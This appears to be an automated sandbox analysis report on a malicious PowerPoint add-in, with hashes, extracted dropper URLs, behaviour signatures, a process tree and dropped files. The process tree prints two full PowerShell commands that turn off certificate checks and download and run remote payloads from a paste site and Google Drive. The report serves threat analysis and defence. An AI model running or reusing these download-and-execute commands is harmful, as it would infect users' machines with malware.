Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 14:04

General

  • Target

    516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4.ppam

  • Size

    15KB

  • MD5

    2f5518eab74b27def099fa3fadb06b5d

  • SHA1

    3676f4c0457e6bbf3f343a7222937995ba4c3518

  • SHA256

    516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4

  • SHA512

    07bbad84bc499dcb36210260ea3536b064cec1a08d92d90eae06f98f399d7710b248f48085a4017fd44f2ba7b4cee5f973e327719ba69d1af06afbc16d3b53b4

  • SSDEEP

    384:dXPEeBSzKuCjIOIxvTNRX/GC+p/RU3Af7CRRWiwJM:VPEeByCje3RX/spZU3ADCfWip

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pt.textbin.net/download/x7sf6t2dgv

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\516a68bcd0ba36727964cf175ab4bc3f2dad9a8cf6c923eb29d41ea5b8c621a4.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$UmniN;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/x7sf6t2dgv' ) ;$UmniN = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$UmniN | Out-File -FilePath 'x.js' -force ;wscript.exe x.js ; exit
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" x.js
        3⤵
          PID:3588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$UmniN;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1912
        • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
          "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\x.pptx" /ou ""
          3⤵
            PID:4264

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        556084f2c6d459c116a69d6fedcc4105

        SHA1

        633e89b9a1e77942d822d14de6708430a3944dbc

        SHA256

        88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

        SHA512

        0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        c14cfe9cceee0b2fa2f4d0638215f4b7

        SHA1

        5895dd3fcff705cd16caba80ecc28edb67591fe0

        SHA256

        9a6678bda60018ea04abbd3a5569f2349a4e9a1d533d150e030197330a5ec02b

        SHA512

        c9b31f7914e4ee36306aed9625188c45e820e94ccd542a63a0ce73f19989eaa699e407a74db0c66fe7b6492b9564cd7d0c078ff044be20ea5f700a864577428c

      • C:\Users\Admin\AppData\Local\Temp\0A85F18.tmp

        Filesize

        89B

        MD5

        b1cecd53ef28c1c0b028b61ce05f58ad

        SHA1

        e584c6401a8bf88bba7fd66d6f7566e68457e985

        SHA256

        640312905782ec6cb158bcdd84d6f1d461dcfbe148774f1acf7ae107e4027d01

        SHA512

        8be92c74fa2b3149a65a12c8ee16da3072b01b88855188e2b15bde66c632f3994caa1762a7fea6351b28e08bf73f22e44dbf357b10af18b49057941fe26f396d

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sirm3x32.lpi.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\x.js

        Filesize

        2B

        MD5

        f3b25701fe362ec84616a93a45ce9998

        SHA1

        d62636d8caec13f04e28442a0a6fa1afeb024bbb

        SHA256

        b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

        SHA512

        98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

      • C:\Users\Admin\AppData\Local\Temp\x.pptx

        Filesize

        1.0MB

        MD5

        11a39284007e332f4fde1320f61c5a9d

        SHA1

        f88a82670fa93b703a7b51d624e810b0049078cd

        SHA256

        c516759eb48802300a45ea6295b670656917368bd93d1711bf6406b8997062c9

        SHA512

        ec1b7ed28dc111b519e994736d16e2e73f43aa292ba72c85464d8dfd5cfd60d0f501c3c0feb4f109257def6e5cce96c3fbb8de060907d91e4fa050e2f5c38155

      • memory/2312-40-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/2312-99-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/2312-46-0x000002DE3E3C0000-0x000002DE3E3E2000-memory.dmp

        Filesize

        136KB

      • memory/3668-8-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-39-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-11-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-12-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-14-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-13-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp

        Filesize

        64KB

      • memory/3668-16-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-20-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-21-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-19-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-18-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-17-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-15-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-32-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-33-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-10-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp

        Filesize

        64KB

      • memory/3668-0-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/3668-9-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-6-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-7-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/3668-2-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/3668-4-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/3668-3-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/3668-1-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/3668-5-0x00007FF99EFAD000-0x00007FF99EFAE000-memory.dmp

        Filesize

        4KB

      • memory/3668-94-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

        Filesize

        2.0MB

      • memory/4264-79-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/4264-80-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/4264-81-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB

      • memory/4264-78-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

        Filesize

        64KB